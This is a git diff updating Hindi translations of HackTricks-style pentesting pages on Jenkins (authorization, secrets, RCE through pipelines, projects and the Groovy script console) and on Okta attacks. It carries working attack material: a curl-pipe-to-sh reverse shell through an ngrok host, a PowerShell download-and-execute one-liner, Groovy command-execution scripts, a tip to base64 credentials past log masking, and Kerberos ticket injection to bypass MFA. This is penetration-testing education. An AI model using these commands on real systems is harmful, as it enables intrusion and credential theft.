+- **लॉगिन किए गए उपयोगकर्ता कुछ भी कर सकते हैं**: इस मोड में, हर **लॉगिन किए गए उपयोगकर्ता को Jenkins का पूर्ण नियंत्रण मिलता है**। एकमात्र उपयोगकर्ता जिसे पूर्ण नियंत्रण नहीं मिलेगा वह **गुमनाम उपयोगकर्ता** है, जिसे केवल **पढ़ने की पहुँच** मिलती है।
- **Matrix-based security**: आप एक तालिका में **कौन क्या कर सकता है** कॉन्फ़िगर कर सकते हैं। प्रत्येक **स्तंभ** एक **अनुमति** का प्रतिनिधित्व करता है। प्रत्येक **पंक्ति** **एक उपयोगकर्ता या समूह/भूमिका का प्रतिनिधित्व करती है।** इसमें एक विशेष उपयोगकर्ता '**गुमनाम**' शामिल है, जो **अप्रमाणित उपयोगकर्ताओं** का प्रतिनिधित्व करता है, साथ ही '**प्रमाणित**', जो **सभी प्रमाणित उपयोगकर्ताओं** का प्रतिनिधित्व करता है।
.png>)
-- **Project-based Matrix Authorization Strategy:** यह मोड "**Matrix-based security**" का एक **विस्तार** है जो प्रत्येक परियोजना के लिए **अतिरिक्त ACL मैट्रिक्स को अलग से परिभाषित करने** की अनुमति देता है।
-- **Role-Based Strategy:** **भूमिका-आधारित रणनीति** का उपयोग करके अनुमतियों को परिभाषित करने की अनुमति देता है। `/role-strategy` में भूमिकाओं का प्रबंधन करें।
+- **Project-based Matrix Authorization Strategy:** यह मोड "**Matrix-based security**" का एक **विस्तार** है जो प्रत्येक परियोजना के लिए अलग-अलग ACL मैट्रिक्स को **परिभाषित करने** की अनुमति देता है।
+- **Role-Based Strategy:** एक **भूमिका-आधारित रणनीति** का उपयोग करके प्राधिकरण को परिभाषित करने की अनुमति देता है। `/role-strategy` में भूमिकाओं का प्रबंधन करें।
## **Security Realm**
-`/configureSecurity` में **सुरक्षा क्षेत्र को कॉन्फ़िगर करना संभव है।** डिफ़ॉल्ट रूप से Jenkins में कुछ विभिन्न सुरक्षा क्षेत्रों के लिए समर्थन शामिल है:
+`/configureSecurity` में यह संभव है कि **सुरक्षा क्षेत्र को कॉन्फ़िगर किया जाए।** डिफ़ॉल्ट रूप से Jenkins में कुछ विभिन्न सुरक्षा क्षेत्रों के लिए समर्थन शामिल है:
-- **Delegate to servlet container**: **Jenkins नियंत्रक चलाने वाले एक सर्वलेट कंटेनर के लिए प्रमाणीकरण को सौंपने के लिए**, जैसे [Jetty](https://www.eclipse.org/jetty/)।
+- **Delegate to servlet container**: **Jenkins नियंत्रक** चलाने वाले एक सर्वलेट कंटेनर के लिए प्रमाणीकरण को **सौंपना**, जैसे [Jetty](https://www.eclipse.org/jetty/)।
- **Jenkins’ own user database:** बाहरी प्रणाली को सौंपने के बजाय प्रमाणीकरण के लिए **Jenkins के अपने अंतर्निहित उपयोगकर्ता डेटा स्टोर** का उपयोग करें। यह डिफ़ॉल्ट रूप से सक्षम है।
- **LDAP**: एक कॉन्फ़िगर किए गए LDAP सर्वर को सभी प्रमाणीकरण सौंपें, जिसमें उपयोगकर्ता और समूह दोनों शामिल हैं।
-- **Unix user/group database**: **Jenkins नियंत्रक पर अंतर्निहित Unix** OS-स्तरीय उपयोगकर्ता डेटाबेस को प्रमाणीकरण के लिए सौंपता है। यह मोड अनुमतियों के लिए Unix समूहों के पुन: उपयोग की भी अनुमति देगा।
+- **Unix user/group database**: **Jenkins नियंत्रक पर अंतर्निहित Unix** OS-स्तरीय उपयोगकर्ता डेटाबेस को प्रमाणीकरण सौंपता है। यह मोड प्राधिकरण के लिए Unix समूहों के पुन: उपयोग की अनुमति भी देगा।
प्लगइन्स अतिरिक्त सुरक्षा क्षेत्रों को प्रदान कर सकते हैं जो Jenkins को मौजूदा पहचान प्रणालियों में शामिल करने के लिए उपयोगी हो सकते हैं, जैसे:
@@ -59,7 +59,7 @@ Jenkins को प्लगइन्स का उपयोग करके **
**Nodes** वे **मशीनें** हैं जिन पर निर्माण **एजेंट चलते हैं**। Jenkins प्रत्येक जुड़े हुए नोड की निगरानी करता है कि डिस्क स्थान, फ्री टेम्प स्पेस, फ्री स्वैप, घड़ी का समय/सिंक और प्रतिक्रिया समय। यदि इनमें से कोई भी मान कॉन्फ़िगर किए गए थ्रेशोल्ड से बाहर चला जाता है, तो एक नोड को ऑफ़लाइन ले लिया जाता है।
-**Agents** **Jenkins नियंत्रक की ओर से** **कार्य निष्पादन** का प्रबंधन करते हैं **executors** का उपयोग करके। एक एजेंट किसी भी ऑपरेटिंग सिस्टम का उपयोग कर सकता है जो Java का समर्थन करता है। निर्माण और परीक्षण के लिए आवश्यक उपकरण उस नोड पर स्थापित होते हैं जहां एजेंट चलता है; उन्हें **प्रत्यक्ष रूप से या एक कंटेनर में** (Docker या Kubernetes) स्थापित किया जा सकता है। प्रत्येक **एजेंट वास्तव में मेज़बान मशीन पर अपने स्वयं के PID के साथ एक प्रक्रिया है**।
+**Agents** **Jenkins नियंत्रक** की ओर से **कार्य निष्पादन** का प्रबंधन करते हैं **executors** का उपयोग करके। एक एजेंट किसी भी ऑपरेटिंग सिस्टम का उपयोग कर सकता है जो Java का समर्थन करता है। निर्माण और परीक्षण के लिए आवश्यक उपकरण उस नोड पर स्थापित होते हैं जहां एजेंट चलता है; उन्हें **प्रत्यक्ष रूप से या एक कंटेनर में** (Docker या Kubernetes) स्थापित किया जा सकता है। प्रत्येक **एजेंट वास्तव में मेज़बान मशीन पर अपने स्वयं के PID के साथ एक प्रक्रिया है**।
एक **executor** **कार्य निष्पादन के लिए एक स्लॉट** है; वास्तव में, यह **एजेंट में एक थ्रेड है**। एक नोड पर **executors की संख्या** उस नोड पर एक समय में निष्पादित होने वाले **समानांतर कार्यों** की संख्या को परिभाषित करती है। दूसरे शब्दों में, यह उस नोड पर एक समय में निष्पादित होने वाले **समानांतर Pipeline `stages`** की संख्या को निर्धारित करता है।
@@ -67,7 +67,7 @@ Jenkins को प्लगइन्स का उपयोग करके **
### Encryption of Secrets and Credentials
-[docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) से परिभाषा: Jenkins **गुप्त, क्रेडेंशियल्स और उनके संबंधित एन्क्रिप्शन कुंजियों** की सुरक्षा के लिए **AES का उपयोग करता है**। ये एन्क्रिप्शन कुंजियाँ `$JENKINS_HOME/secrets/` में संग्रहीत होती हैं, साथ ही मास्टर कुंजी जो इन कुंजियों की सुरक्षा के लिए उपयोग की जाती है। इस निर्देशिका को इस तरह कॉन्फ़िगर किया जाना चाहिए कि केवल ऑपरेटिंग सिस्टम उपयोगकर्ता जिसके रूप में Jenkins नियंत्रक चल रहा है, को इस निर्देशिका में पढ़ने और लिखने की पहुँच हो (यानी, `chmod` मान `0700` या उपयुक्त फ़ाइल विशेषताओं का उपयोग करके)। **मास्टर कुंजी** (जिसे कभी-कभी क्रिप्टोजार्गन में "कुंजी एन्क्रिप्शन कुंजी" कहा जाता है) **Jenkins नियंत्रक फ़ाइल सिस्टम पर \_अनएन्क्रिप्टेड\_** में **`$JENKINS_HOME/secrets/master.key`** में संग्रहीत होती है जो उस फ़ाइल तक सीधे पहुँच वाले हमलावरों के खिलाफ सुरक्षा नहीं करती है। अधिकांश उपयोगकर्ता और डेवलपर्स इन एन्क्रिप्शन कुंजियों का अप्रत्यक्ष रूप से उपयोग करेंगे या तो [Secret](https://javadoc.jenkins.io/byShortName/Secret) API के माध्यम से सामान्य गुप्त डेटा को एन्क्रिप्ट करने के लिए या क्रेडेंशियल्स API के माध्यम से। क्रिप्टोक्यूरियस के लिए, Jenkins AES का उपयोग करता है जो सिफर ब्लॉक चेनिंग (CBC) मोड में PKCS#5 पैडिंग और यादृच्छिक IVs के साथ [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) के उदाहरणों को एन्क्रिप्ट करने के लिए जो `$JENKINS_HOME/secrets/` में संग्रहीत होते हैं जिनका फ़ाइल नाम उनके `CryptoConfidentialKey` id के अनुरूप होता है। सामान्य कुंजी ids में शामिल हैं:
+[docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) से परिभाषा: Jenkins **गुप्त, क्रेडेंशियल्स और उनके संबंधित एन्क्रिप्शन कुंजियों** को एन्क्रिप्ट और सुरक्षित करने के लिए **AES का उपयोग करता है**। ये एन्क्रिप्शन कुंजियाँ `$JENKINS_HOME/secrets/` में संग्रहीत होती हैं, साथ ही उस मास्टर कुंजी के साथ जो उक्त कुंजियों की सुरक्षा के लिए उपयोग की जाती है। इस निर्देशिका को इस तरह कॉन्फ़िगर किया जाना चाहिए कि केवल ऑपरेटिंग सिस्टम उपयोगकर्ता जिसके रूप में Jenkins नियंत्रक चल रहा है, को इस निर्देशिका में पढ़ने और लिखने की पहुँच हो (यानी, `chmod` मान `0700` या उपयुक्त फ़ाइल विशेषताओं का उपयोग करके)। **मास्टर कुंजी** (जिसे कभी-कभी क्रिप्टोजार्गन में "कुंजी एन्क्रिप्शन कुंजी" कहा जाता है) **Jenkins नियंत्रक फ़ाइल सिस्टम में \_unencrypted\_** में **`$JENKINS_HOME/secrets/master.key`** में संग्रहीत होती है जो उन हमलावरों के खिलाफ सुरक्षा नहीं करती है जिनके पास उस फ़ाइल तक सीधी पहुँच है। अधिकांश उपयोगकर्ता और डेवलपर्स इन एन्क्रिप्शन कुंजियों का अप्रत्यक्ष रूप से उपयोग करेंगे या तो [Secret](https://javadoc.jenkins.io/byShortName/Secret) API के माध्यम से सामान्य गुप्त डेटा को एन्क्रिप्ट करने के लिए या क्रेडेंशियल्स API के माध्यम से। क्रिप्टोक्यूरियस के लिए, Jenkins AES का उपयोग करता है जो सिफर ब्लॉक चेनिंग (CBC) मोड में PKCS#5 पैडिंग और यादृच्छिक IVs के साथ [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) के उदाहरणों को एन्क्रिप्ट करने के लिए जो `$JENKINS_HOME/secrets/` में संग्रहीत होते हैं जिनका फ़ाइल नाम उनके `CryptoConfidentialKey` आईडी के अनुरूप होता है। सामान्य कुंजी आईडी में शामिल हैं:
- `hudson.util.Secret`: सामान्य गुप्तों के लिए उपयोग किया जाता है;
- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: कुछ क्रेडेंशियल प्रकारों के लिए उपयोग किया जाता है;
@@ -77,9 +77,9 @@ Jenkins को प्लगइन्स का उपयोग करके **
क्रेडेंशियल्स को **वैश्विक प्रदाताओं** (`/credentials/`) के लिए स्कोप किया जा सकता है जिन्हें किसी भी कॉन्फ़िगर की गई परियोजना द्वारा एक्सेस किया जा सकता है, या उन्हें **विशिष्ट परियोजनाओं** (`/job//configure`) के लिए स्कोप किया जा सकता है और इसलिए केवल विशिष्ट परियोजना से ही एक्सेस किया जा सकता है।
-[**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) के अनुसार: स्कोप में क्रेडेंशियल्स पाइपलाइन के लिए बिना किसी सीमा के उपलब्ध होते हैं। **निर्माण लॉग में आकस्मिक प्रदर्शन को रोकने के लिए**, क्रेडेंशियल्स को नियमित आउटपुट से **मास्क किया जाता है**, इसलिए `env` (Linux) या `set` (Windows) का एक आह्वान, या अपने वातावरण या पैरामीटर प्रिंट करने वाले कार्यक्रम **निर्माण लॉग में उन्हें प्रकट नहीं करेंगे** उन उपयोगकर्ताओं के लिए जिनके पास अन्यथा क्रेडेंशियल्स तक पहुँच नहीं होगी।
+[**docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) के अनुसार: स्कोप में क्रेडेंशियल्स पाइपलाइन के लिए बिना किसी सीमा के उपलब्ध होते हैं। **निर्माण लॉग में आकस्मिक प्रदर्शन को रोकने के लिए**, क्रेडेंशियल्स को नियमित आउटपुट से **मास्क किया जाता है**, इसलिए `env` (Linux) या `set` (Windows) का एक आह्वान, या अपने वातावरण या पैरामीटर को प्रिंट करने वाले कार्यक्रमों को **निर्माण लॉग में उन्हें प्रकट नहीं करेगा** उन उपयोगकर्ताओं के लिए जिनके पास अन्यथा क्रेडेंशियल्स तक पहुँच नहीं होगी।
-**इसलिए, क्रेडेंशियल्स को एक्सफिल्ट्रेट करने के लिए एक हमलावर को, उदाहरण के लिए, उन्हें base64 करना होगा।**
+**इसलिए क्रेडेंशियल्स को एक्सफिल्ट्रेट करने के लिए एक हमलावर को, उदाहरण के लिए, उन्हें base64 करना होगा।**
## References
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
index 807789f0a..d0cec48eb 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -100,6 +100,6 @@ curl -X POST "$JENKINS_URL/scriptText" \
- Groovy स्क्रिप्ट का उपयोग सिस्टम-स्तरीय कमांड या Jenkins वातावरण के भीतर अन्य संचालन को निष्पादित करने के लिए किया जा सकता है।
-उदाहरण curl कमांड दिखाता है कि आवश्यक हेडर और कुकी के साथ Jenkins को अनुरोध कैसे किया जाए ताकि मनमाना कोड सुरक्षित रूप से निष्पादित किया जा सके।
+उदाहरण curl कमांड दिखाता है कि कैसे आवश्यक हेडर और कुकी के साथ Jenkins को अनुरोध भेजा जाए ताकि मनमाना कोड सुरक्षित रूप से निष्पादित किया जा सके।
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
index 015116338..f0e9ae902 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md
@@ -2,9 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
-## नया Pipeline बनाना
+## एक नया पाइपलाइन बनाना
-"New Item" में (जो `/view/all/newJob` पर उपलब्ध है) **Pipeline** चुनें:
+"New Item" में (जो `/view/all/newJob` पर उपलब्ध है) **Pipeline** का चयन करें:
.png>)
@@ -32,6 +32,6 @@ curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
## पाइपलाइन को संशोधित करना
-यदि आप किसी कॉन्फ़िगर की गई पाइपलाइन की कॉन्फ़िगरेशन फ़ाइल तक पहुँच सकते हैं, तो आप बस **अपना रिवर्स शेल जोड़कर इसे संशोधित कर सकते हैं** और फिर इसे निष्पादित करें या इसके निष्पादित होने की प्रतीक्षा करें।
+यदि आप किसी कॉन्फ़िगर की गई पाइपलाइन की कॉन्फ़िगरेशन फ़ाइल तक पहुँच सकते हैं, तो आप बस **अपना रिवर्स शेल जोड़कर इसे संशोधित** कर सकते हैं और फिर इसे निष्पादित करें या जब तक यह निष्पादित न हो जाए तब तक प्रतीक्षा करें।
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
index 3435b08c2..2cba9ae2e 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md
@@ -7,7 +7,7 @@
यह विधि बहुत शोर करती है क्योंकि आपको एक नया प्रोजेक्ट बनाना होता है (स्पष्ट है कि यह केवल तभी काम करेगा जब आपके उपयोगकर्ता को नया प्रोजेक्ट बनाने की अनुमति हो)।
1. **एक नया प्रोजेक्ट बनाएं** (Freestyle project) "New Item" पर क्लिक करके या `/view/all/newJob` में।
-2. **Build** अनुभाग के अंदर **Execute shell** सेट करें और एक powershell Empire launcher या एक meterpreter powershell पेस्ट करें (इसे _unicorn_ का उपयोग करके प्राप्त किया जा सकता है)। _PowerShell.exe_ का उपयोग करके पेलोड शुरू करें, _powershell_ का उपयोग न करें।
+2. **Build** अनुभाग के अंदर **Execute shell** सेट करें और एक powershell Empire launcher या एक meterpreter powershell पेस्ट करें (जो _unicorn_ का उपयोग करके प्राप्त किया जा सकता है)। _PowerShell.exe_ के साथ पेलोड शुरू करें, _powershell_ का उपयोग करने के बजाय।
3. **Build now** पर क्लिक करें।
1. यदि **Build now** बटन नहीं दिखाई देता है, तो आप अभी भी **configure** --> **Build Triggers** --> `Build periodically` पर जा सकते हैं और `* * * * *` का क्रोन सेट कर सकते हैं।
2. क्रोन का उपयोग करने के बजाय, आप "**Trigger builds remotely**" कॉन्फ़िगरेशन का उपयोग कर सकते हैं जहाँ आपको केवल नौकरी को ट्रिगर करने के लिए API टोकन नाम सेट करने की आवश्यकता है। फिर अपने उपयोगकर्ता प्रोफ़ाइल पर जाएं और **एक API टोकन उत्पन्न करें** (इस API टोकन को उसी नाम से कॉल करें जैसा आपने नौकरी को ट्रिगर करने के लिए API टोकन को कहा था)। अंततः, नौकरी को ट्रिगर करें: **`curl :@/job//build?token=`**
@@ -31,6 +31,6 @@
.png>)
**Save** पर क्लिक करें और प्रोजेक्ट को **build** करें और आपका **कमांड निष्पादित होगा**।\
-यदि आप एक रिवर्स शेल निष्पादित नहीं कर रहे हैं बल्कि एक साधारण कमांड कर रहे हैं तो आप **निर्माण के आउटपुट के अंदर कमांड का आउटपुट देख सकते हैं**।
+यदि आप एक रिवर्स शेल निष्पादित नहीं कर रहे हैं बल्कि एक साधारण कमांड कर रहे हैं, तो आप **निर्माण के आउटपुट के अंदर कमांड का आउटपुट देख सकते हैं**।
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
index 6d5ed8d58..edfe1f009 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md
@@ -4,7 +4,7 @@
## Jenkins RCE with Groovy Script
-यह जेनकिंस में एक नया प्रोजेक्ट बनाने की तुलना में कम शोर करता है
+यह Jenkins में एक नया प्रोजेक्ट बनाने की तुलना में कम शोर करता है
1. _path_jenkins/script_ पर जाएं
2. टेक्स्ट बॉक्स के अंदर स्क्रिप्ट डालें
@@ -12,13 +12,13 @@
def process = "PowerShell.exe ".execute()
println "Found text ${process.text}"
```
-आप एक कमांड का उपयोग करके निष्पादित कर सकते हैं: `cmd.exe /c dir`
+आप एक कमांड का निष्पादन कर सकते हैं: `cmd.exe /c dir`
-**लिनक्स** में आप कर सकते हैं: **`"ls /".execute().text`**
+**linux** में आप कर सकते हैं: **`"ls /".execute().text`**
-यदि आपको टेक्स्ट के अंदर _कोट्स_ और _सिंगल कोट्स_ का उपयोग करने की आवश्यकता है। आप _"""PAYLOAD"""_ (ट्रिपल डबल कोट्स) का उपयोग करके पेलोड को निष्पादित कर सकते हैं।
+यदि आपको टेक्स्ट के अंदर _quotes_ और _single quotes_ का उपयोग करने की आवश्यकता है। आप _"""PAYLOAD"""_ (ट्रिपल डबल कोट्स) का उपयोग करके पेलोड को निष्पादित कर सकते हैं।
-**एक और उपयोगी ग्रोवी स्क्रिप्ट** है (स्थानापन्न \[INSERT COMMAND]):
+**एक और उपयोगी groovy स्क्रिप्ट** है (स्थानापन्न \[INSERT COMMAND]):
```python
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
@@ -42,7 +42,7 @@ scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc
```
-### Script
+### स्क्रिप्ट
आप इस प्रक्रिया को [**इस स्क्रिप्ट**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py) के साथ स्वचालित कर सकते हैं।
diff --git a/src/pentesting-ci-cd/okta-security/README.md b/src/pentesting-ci-cd/okta-security/README.md
index 4cf16534c..390a2ec97 100644
--- a/src/pentesting-ci-cd/okta-security/README.md
+++ b/src/pentesting-ci-cd/okta-security/README.md
@@ -1,94 +1,94 @@
-# Okta Security
+# Okta सुरक्षा
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## बुनियादी जानकारी
-[Okta, Inc.](https://www.okta.com/) पहचान और पहुंच प्रबंधन क्षेत्र में अपने क्लाउड-आधारित सॉफ़्टवेयर समाधानों के लिए जाना जाता है। ये समाधान विभिन्न आधुनिक अनुप्रयोगों में उपयोगकर्ता प्रमाणीकरण को सरल और सुरक्षित बनाने के लिए डिज़ाइन किए गए हैं। ये न केवल उन कंपनियों के लिए हैं जो अपने संवेदनशील डेटा की सुरक्षा करना चाहती हैं, बल्कि उन डेवलपर्स के लिए भी हैं जो अनुप्रयोगों, वेब सेवाओं और उपकरणों में पहचान नियंत्रण को एकीकृत करने में रुचि रखते हैं।
+[Okta, Inc.](https://www.okta.com/) पहचान और पहुंच प्रबंधन क्षेत्र में अपने क्लाउड-आधारित सॉफ़्टवेयर समाधानों के लिए पहचाना जाता है। ये समाधान विभिन्न आधुनिक अनुप्रयोगों में उपयोगकर्ता प्रमाणीकरण को सरल और सुरक्षित बनाने के लिए डिज़ाइन किए गए हैं। ये न केवल उन कंपनियों के लिए हैं जो अपने संवेदनशील डेटा की सुरक्षा करना चाहती हैं, बल्कि उन डेवलपर्स के लिए भी हैं जो अनुप्रयोगों, वेब सेवाओं और उपकरणों में पहचान नियंत्रण को एकीकृत करने में रुचि रखते हैं।
-Okta की प्रमुख पेशकश **Okta Identity Cloud** है। यह प्लेटफ़ॉर्म उत्पादों के एक सूट को शामिल करता है, जिसमें शामिल हैं लेकिन सीमित नहीं हैं:
+Okta की प्रमुख पेशकश **Okta पहचान क्लाउड** है। यह प्लेटफ़ॉर्म उत्पादों का एक सूट शामिल करता है, जिसमें शामिल हैं लेकिन सीमित नहीं हैं:
-- **Single Sign-On (SSO)**: कई अनुप्रयोगों में एक सेट लॉगिन क्रेडेंशियल्स के माध्यम से उपयोगकर्ता पहुंच को सरल बनाता है।
-- **Multi-Factor Authentication (MFA)**: कई प्रकार की सत्यापन आवश्यकताओं के माध्यम से सुरक्षा को बढ़ाता है।
-- **Lifecycle Management**: उपयोगकर्ता खाता निर्माण, अपडेट और निष्क्रियता प्रक्रियाओं को स्वचालित करता है।
-- **Universal Directory**: उपयोगकर्ताओं, समूहों और उपकरणों का केंद्रीकृत प्रबंधन सक्षम बनाता है।
-- **API Access Management**: APIs तक पहुंच को सुरक्षित और प्रबंधित करता है।
+- **सिंगल साइन-ऑन (SSO)**: एक सेट के लॉगिन क्रेडेंशियल्स के माध्यम से कई अनुप्रयोगों में उपयोगकर्ता पहुंच को सरल बनाता है।
+- **मल्टी-फैक्टर प्रमाणीकरण (MFA)**: कई प्रकार के सत्यापन की आवश्यकता करके सुरक्षा को बढ़ाता है।
+- **लाइफसाइकिल प्रबंधन**: उपयोगकर्ता खाता निर्माण, अपडेट और निष्क्रियता प्रक्रियाओं को स्वचालित करता है।
+- **यूनिवर्सल डायरेक्टरी**: उपयोगकर्ताओं, समूहों और उपकरणों का केंद्रीकृत प्रबंधन सक्षम बनाता है।
+- **API एक्सेस प्रबंधन**: APIs तक पहुंच को सुरक्षित और प्रबंधित करता है।
ये सेवाएँ सामूहिक रूप से डेटा सुरक्षा को मजबूत करने और उपयोगकर्ता पहुंच को सरल बनाने का लक्ष्य रखती हैं, जिससे सुरक्षा और सुविधा दोनों में सुधार होता है। Okta के समाधानों की बहुपरकारीता उन्हें विभिन्न उद्योगों में एक लोकप्रिय विकल्प बनाती है, जो बड़े उद्यमों, छोटे कंपनियों और व्यक्तिगत डेवलपर्स के लिए फायदेमंद है। सितंबर 2021 में अंतिम अपडेट के अनुसार, Okta पहचान और पहुंच प्रबंधन (IAM) क्षेत्र में एक प्रमुख इकाई के रूप में मान्यता प्राप्त है।
> [!CAUTION]
-> Okta का मुख्य लक्ष्य विभिन्न उपयोगकर्ताओं और समूहों के लिए बाहरी अनुप्रयोगों तक पहुंच को कॉन्फ़िगर करना है। यदि आप **Okta** वातावरण में **प्रशासक विशेषाधिकारों से समझौता करने में सफल होते हैं**, तो आप **संभवतः कंपनी द्वारा उपयोग किए जा रहे सभी अन्य प्लेटफार्मों से समझौता करने में सक्षम होंगे**।
+> Okta का मुख्य लक्ष्य विभिन्न उपयोगकर्ताओं और समूहों के लिए बाहरी अनुप्रयोगों तक पहुंच को कॉन्फ़िगर करना है। यदि आप **Okta** वातावरण में व्यवस्थापक विशेषाधिकारों को **समझौता** करने में सफल होते हैं, तो आप **संभवतः कंपनी द्वारा उपयोग किए जा रहे सभी अन्य प्लेटफार्मों को समझौता** करने में सक्षम होंगे।
> [!TIP]
-> Okta वातावरण की सुरक्षा समीक्षा करने के लिए आपको **प्रशासक केवल पढ़ने की पहुंच** मांगनी चाहिए।
+> Okta वातावरण की सुरक्षा समीक्षा करने के लिए आपको **व्यवस्थापक केवल पढ़ने की पहुंच** के लिए पूछना चाहिए।
-### Summary
+### सारांश
-यहां **उपयोगकर्ता** हैं (जो **Okta में संग्रहीत** हो सकते हैं, कॉन्फ़िगर किए गए **पहचान प्रदाताओं** से लॉग इन कर सकते हैं या **Active Directory** या LDAP के माध्यम से प्रमाणित हो सकते हैं)।\
+यहाँ **उपयोगकर्ता** हैं (जो **Okta में संग्रहीत** हो सकते हैं, कॉन्फ़िगर किए गए **पहचान प्रदाताओं** से लॉग इन कर सकते हैं या **एक्टिव डायरेक्टरी** या LDAP के माध्यम से प्रमाणित हो सकते हैं)।\
ये उपयोगकर्ता **समूहों** के अंदर हो सकते हैं।\
-यहां **प्रमाणक** भी हैं: प्रमाणित करने के लिए विभिन्न विकल्प जैसे पासवर्ड, और कई 2FA जैसे WebAuthn, ईमेल, फोन, Okta Verify (इन्हें सक्षम या अक्षम किया जा सकता है)...
+यहाँ **प्रमाणक** भी हैं: प्रमाणीकरण के लिए विभिन्न विकल्प जैसे पासवर्ड, और कई 2FA जैसे WebAuthn, ईमेल, फोन, Okta Verify (इन्हें सक्षम या अक्षम किया जा सकता है)...
-फिर, यहां **अनुप्रयोग** हैं जो Okta के साथ समन्वयित हैं। प्रत्येक अनुप्रयोग का कुछ **Okta के साथ मैपिंग** होगा ताकि जानकारी साझा की जा सके (जैसे ईमेल पते, पहले नाम...)। इसके अलावा, प्रत्येक अनुप्रयोग को एक **प्रमाणीकरण नीति** के अंतर्गत होना चाहिए, जो यह दर्शाती है कि किसी उपयोगकर्ता को अनुप्रयोग तक **पहुँचने** के लिए **आवश्यक प्रमाणक** क्या हैं।
+फिर, यहाँ **अनुप्रयोग** हैं जो Okta के साथ समन्वयित हैं। प्रत्येक अनुप्रयोग का कुछ **Okta के साथ मैपिंग** होगा ताकि जानकारी साझा की जा सके (जैसे ईमेल पते, पहले नाम...)। इसके अलावा, प्रत्येक अनुप्रयोग को एक **प्रमाणीकरण नीति** के अंदर होना चाहिए, जो यह दर्शाता है कि उपयोगकर्ता को अनुप्रयोग तक **पहुँचने** के लिए **आवश्यक प्रमाणक** क्या हैं।
> [!CAUTION]
-> सबसे शक्तिशाली भूमिका **सुपर प्रशासक** है।
+> सबसे शक्तिशाली भूमिका **सुपर व्यवस्थापक** है।
>
-> यदि एक हमलावर Okta को प्रशासक पहुंच के साथ समझौता करता है, तो सभी **अनुप्रयोग जो Okta पर भरोसा करते हैं** संभवतः **समझौता** कर लिए जाएंगे।
+> यदि एक हमलावर Okta को व्यवस्थापक पहुंच के साथ समझौता करता है, तो सभी **अनुप्रयोग जो Okta पर भरोसा करते हैं** संभवतः **समझौता** हो जाएंगे।
-## Attacks
+## हमले
-### Locating Okta Portal
+### Okta पोर्टल का पता लगाना
-आमतौर पर किसी कंपनी का पोर्टल **companyname.okta.com** पर स्थित होगा। यदि नहीं, तो **companyname.** के सरल **विविधताओं** का प्रयास करें। यदि आप इसे नहीं ढूंढ पाते हैं, तो यह भी संभव है कि संगठन के पास **CNAME** रिकॉर्ड हो जैसे **`okta.companyname.com`** जो **Okta पोर्टल** की ओर इशारा करता है।
+आमतौर पर किसी कंपनी का पोर्टल **companyname.okta.com** पर स्थित होगा। यदि नहीं, तो **companyname.** के सरल **विविधताओं** को आजमाएं। यदि आप इसे नहीं ढूंढ पाते हैं, तो यह भी संभव है कि संगठन के पास **CNAME** रिकॉर्ड हो जैसे **`okta.companyname.com`** जो **Okta पोर्टल** की ओर इशारा करता है।
-### Login in Okta via Kerberos
+### Kerberos के माध्यम से Okta में लॉगिन
-यदि **`companyname.kerberos.okta.com`** सक्रिय है, तो **Okta पहुंच के लिए Kerberos का उपयोग किया जाता है**, आमतौर पर **Windows** उपयोगकर्ताओं के लिए **MFA** को बायपास करते हुए। AD में Kerberos-सत्यापित Okta उपयोगकर्ताओं को खोजने के लिए, **`getST.py`** को **उपयुक्त पैरामीटर** के साथ चलाएं। एक **AD उपयोगकर्ता टिकट** प्राप्त करने के बाद, **इसे** नियंत्रित होस्ट में Rubeus या Mimikatz जैसे उपकरणों का उपयोग करके **इंजेक्ट** करें, यह सुनिश्चित करते हुए कि **`clientname.kerberos.okta.com` इंटरनेट विकल्पों "इंट्रानेट" क्षेत्र में है**। एक विशिष्ट URL तक पहुंचने पर JSON "OK" प्रतिक्रिया लौटनी चाहिए, जो Kerberos टिकट स्वीकृति को दर्शाती है, और Okta डैशबोर्ड तक पहुंच प्रदान करती है।
